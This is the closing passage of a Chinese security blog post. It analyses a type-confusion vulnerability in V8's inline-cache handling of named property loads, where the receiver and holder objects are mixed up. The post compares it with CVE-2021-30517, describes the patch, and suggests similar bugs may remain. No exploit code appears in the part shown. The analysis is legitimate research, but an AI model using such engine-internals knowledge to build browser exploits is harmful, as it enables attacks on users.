可以看到此时返回的对象，不仅有smi_handler的值，还包含了需要处理的holder对象0x27640810d2ed。通过将handler进行如上封装后，相比于简单的smi_handler，这里有了对象map和cell地址，那么在处理handler时，就可以通过比较此时处理的对象是否一致来防止两次holder前后不一致的问题。

总结

这个漏洞的发现，初步猜测是作者根据CVE-2021-30517的漏洞成因，对LoadIC相关代码进行深入审计所发现。

IC的处理机制是V8为了加快属性访问，所引入一种优化方法。其会为每一个对象的属性访问，都建立feedback反馈向量，并在后续访问时直接通过feedback来减少遍历属性所带来的开销。

在一个对象的属性访问过程中，由于继承的原因，会涉及到对父类进行遍历查找。这使得在对一个属性的访问处理过程中，会涉及到对多个对象的操作。V8将这些对象都进行了统一的定义和命名，使用receiver来作为home object即当前调用的发起者，使用lookup_start_object来作为原型链遍历的起点，使用holder是真正处理该属性访问的对象。

而receiver、lookup_start_object和holder这三个对象，很容易通过修改原型链的方式使得他们三个分别指向不同类型的对象。

但是，由于这些对象的定义理解不清，导致开发者在feedback创建过程中和使用过程中，所处理的对象很容易不一致，最终造成了类型混淆漏洞。比如这个洞是由于将receiver和holder的混淆导致，而CVE-2021-30517时由于将receiver和lookup_start_object混淆所导致。

漏洞的patch仅仅是将这个漏洞的产生原因进行了修补，并没有总体解决这三个对象使用错误所带来的问题，而且IC处理除了本文提到的Named property Load，还包括keyed property Load，这两种形式在实现方法上也有些区别。所以，这种由于将receiver、holder和lookup_start_object对象前后使用矛盾的漏洞，可能仍然存在。

参考文献

V8 deconfuser part 5 - Data-driven ICs

Shapes and Inline Caches

Fast properties in V8

Pointer Compression in V8

TurboFan Inlining

[CVE-2021-38001](

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing